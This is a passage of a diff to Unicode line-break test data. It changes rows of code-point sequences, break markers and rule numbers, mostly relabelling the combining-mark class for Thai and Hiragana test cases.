-× 0E01 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0E01 × 0308 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0E01 ÷ 261D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0E01 × 0020 ÷ 261D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0E01 × 0308 ÷ 261D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 261D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0E01 ÷ 1F3FB ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0E01 × 0020 ÷ 1F3FB ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0E01 × 0308 ÷ 1F3FB ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0E01 × 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0E01 × 0020 ÷ 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0E01 × 0308 × 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0E01 × 200D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0E01 × 0020 ÷ 200D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0E01 × 0308 × 200D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 200D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0E01 × 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0E01 × 0020 ÷ 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0E01 × 0308 × 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0E01 × 0308 × 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0E01 × 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0E01 × 0020 ÷ 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0E01 × 0308 × 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0E01 × 0308 × 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0E01 × 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0E01 × 0020 ÷ 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0E01 × 0308 × 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0E01 × 0308 × 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0E01 × 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0E01 × 0020 ÷ 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0E01 × 0308 × 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0E01 × 0308 × 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 3041 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 3041 × 0020 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 3041 × 0308 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 3041 × 0308 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 3041 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 3041 × 0020 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 3041 × 0308 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 3041 × 0308 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 3041 × 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 3041 × 0020 ÷ 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 3041 × 0308 × 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 3041 × 0308 × 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 3041 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 3041 × 0020 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 3041 × 0308 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 3041 × 0308 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 3041 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 3041 × 0020 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 3041 × 0308 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 3041 × 0308 × 0020 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 3041 × 0308 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 3041 × 0308 × 0020 × 000B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 3041 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 3041 × 0020 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 3041 × 0308 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 3041 × 0308 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 3041 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 3041 × 0020 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 3041 × 0308 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 3041 × 0308 × 0020 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 3041 × 0308 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 3041 × 0308 × 0020 × 007D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 3041 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 3041 × 0020 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 3041 × 0308 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 3041 × 0308 × 0020 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 3041 × 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 3041 × 0020 ÷ 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 3041 × 0308 × 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 3041 × 0308 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 3041 × 0308 × 0020 × 0029 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 3041 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 3041 × 0020 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 3041 × 0308 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 3041 × 0308 × 0020 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 3041 × 0308 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 3041 × 0308 × 0020 × 000D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 3041 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 3041 × 0020 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 3041 × 0308 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 3041 × 0308 × 0020 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 3041 × 0308 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 3041 × 0308 × 0020 × 0021 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 3041 × 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 3041 × 0020 ÷ 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 3041 × 0308 × 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 3041 × 0308 × 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 3041 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 3041 × 0020 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 3041 × 0308 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 3041 × 0308 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 3041 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 3041 × 0020 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 3041 × 0308 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 3041 × 0308 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 3041 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 3041 × 0020 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 3041 × 0308 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 3041 × 0308 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 3041 × 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 3041 × 0020 ÷ 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 3041 × 0308 × 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
